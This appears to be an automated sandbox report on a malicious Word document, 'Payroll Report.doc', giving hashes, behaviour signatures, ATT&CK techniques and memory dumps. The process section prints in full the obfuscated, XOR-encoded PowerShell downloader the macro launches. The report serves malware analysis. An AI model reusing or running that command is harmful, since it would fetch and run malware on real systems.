6a773a62f398ff48ddfb62bc662bcec5106b3c02f2aa742b80d12a0d37cb04e6

General

Target

Payroll Report.doc
Size

84KB
MD5

bb1c3c4c38c803e3f12c446334ccb131
SHA1

d549a46a8f252e2396c300faab643041294ec9f0
SHA256

30df69feade4ca930c04d3321ba028f7a69e5f60e2b1a3cce05eac288799bd42
SHA512

7f2ce1cce36ec7bae36aab3352dd2ca507a0762bd63472f23f0b40ec3ac87701380f8f017205c82013beb96d9ee1603bff328a8934acc12f4bc8ec5db06c64fd
SSDEEP

768:wkfsR34+NaX1ucR3MK+1ogtqFTa3g1BS64XLU8vL1VzK9N5C6m3TxX8V:wkfsRNwX0A8K+agil7EB4m3TxX8V

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwerSHell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	744	4708	POwerSHell.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

POwerSHell.exe

flow pid process

26 744 POwerSHell.exe
36 744 POwerSHell.exe
105 744 POwerSHell.exe
106 744 POwerSHell.exe
109 744 POwerSHell.exe
111 744 POwerSHell.exe

flow	pid	process
26	744	POwerSHell.exe
36	744	POwerSHell.exe
105	744	POwerSHell.exe
106	744	POwerSHell.exe
109	744	POwerSHell.exe
111	744	POwerSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4708 WINWORD.EXE
4708 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

POwerSHell.exe

pid process

744 POwerSHell.exe
744 POwerSHell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwerSHell.exe

description pid process

Token: SeDebugPrivilege 744 POwerSHell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4708 WINWORD.EXE
4708 WINWORD.EXE
4708 WINWORD.EXE
4708 WINWORD.EXE
4708 WINWORD.EXE
4708 WINWORD.EXE
4708 WINWORD.EXE

pid	process
4708	WINWORD.EXE
4708	WINWORD.EXE

pid	process
744	POwerSHell.exe
744	POwerSHell.exe

description	pid	process
Token: SeDebugPrivilege	744	POwerSHell.exe

pid	process
4708	WINWORD.EXE
4708	WINWORD.EXE
4708	WINWORD.EXE
4708	WINWORD.EXE
4708	WINWORD.EXE
4708	WINWORD.EXE
4708	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4708 wrote to memory of 744	4708	WINWORD.EXE	POwerSHell.exe
PID 4708 wrote to memory of 744	4708	WINWORD.EXE	POwerSHell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payroll Report.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\POwerSHell.exe
POwerSHell .( $PSHome[21]+$pSHOme[30]+'X')( " $(SeT-varIAble 'ofS' '') "+[sTring]( '29&125&110{104&111t105t25-4&25-87%92%78-20t86%91B83%92K90-77}25<75%88-87<93t86-84t2<29{86}114{73t87t116<74z25K4%25{87}92{78%20}86{91B83K92K90-77%25<106{64&74&77K92-84t23t119B92<77%23K110<92{91&122&85<80B92t87t77t2<29&79z87&83-126K109<76t25K4z25z30<81<77{77z73}3z22%22t78z78%78-23}93t90K20t77<92&90z81t23-75{76}22{105}8B85t67-120<114-22-121K81B77}77z73&3{22}22<78B78t78-23<93z92&87&80{67{92<84{85&88t82<9&15z23{90{86t84}22K13{92z77}83{105z65t105{22<121B81t77t77&73B3B22<22{78%78t78&23<80%80{90B74B93-92<85t81}80K23<86z75<94t22&65&93%110t64&124z113B22-121t81z77B77t73z3<22&22K78B78z78<23K82&77-88%94-81}88K87%88-23K90z86K84&22t87%64}110%9{104K22z121B81B77K77K73t3K22K22B78t78t78t23B94{76-75t76B88-87}93%90%86<23}80K87<22<9-83-94}94B91-85{111B22{30z23t106}73&85%80}77t17%30z121}30B16z2}29}88K91B111K90-67-88&25%4&25<29-125%110K104K111%105{23K87K92K65%77<17-8%21}25&12-11K14}10t8<11K16%2{29<79K83<96K75B116<25}4}25%29{92<87z79t3}77B92t84K73-25t18-25B30-101%30t25}18B25<29%88z91}111K90%67t88z25t18-25{30<23t92z65}92{30K2t95t86%75t92<88&90z81-17K29t106z116-77}97B78t25<80K87{25K29&79K87B83&126-109t76{16B66&77}75t64}66-29%86t114{73t87<116}74%23{125}86t78t87}85K86<88<93z127B80t85<92-17{29{106}116K77<97{78-23z109-86-106%77K75B80{87t94%17t16&21-25{29}79%83{96-75K116<16{2}106z77%88&75z77z20z105t75%86z90t92t74<74-25%29&79B83B96}75{116}2<91z75%92&88{82K2&68-90%88-77{90K81<66{78%75-80<77z92&20{81{86B74&77t25}29<102t23<124B65B90<92&73<77{80z86B87-23-116B92K74&74B88t94}92-2-68&68'.spLIt( '}%-{KtzB&<' ) |ForeAch { [ChaR] ( $_-BXor'0x39' )} )+"$( set-iteM 'VariABLe:ofs' ' ') ")
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDB3A1.tmp\iso690.xsl
Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cdljg143.bxq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/744-42-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/744-548-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/744-545-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/744-45-0x000001A4CE0F0000-0x000001A4CE112000-memory.dmp

Filesize
136KB

Download
memory/4708-18-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-31-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-8-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-9-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-12-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-13-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-14-0x00007FFA11150000-0x00007FFA11160000-memory.dmp

Filesize
64KB

Download
memory/4708-11-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-10-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-16-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-15-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-17-0x00007FFA11150000-0x00007FFA11160000-memory.dmp

Filesize
64KB

Download
memory/4708-19-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-22-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-21-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-20-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-0-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-35-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-32-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-6-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-38-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-37-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-36-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-7-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-5-0x00007FFA539ED000-0x00007FFA539EE000-memory.dmp

Filesize
4KB

Download
memory/4708-4-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-63-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-64-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-1-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-508-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-543-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-544-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/4708-3-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-2-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-568-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-569-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-571-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-570-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/4708-572-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads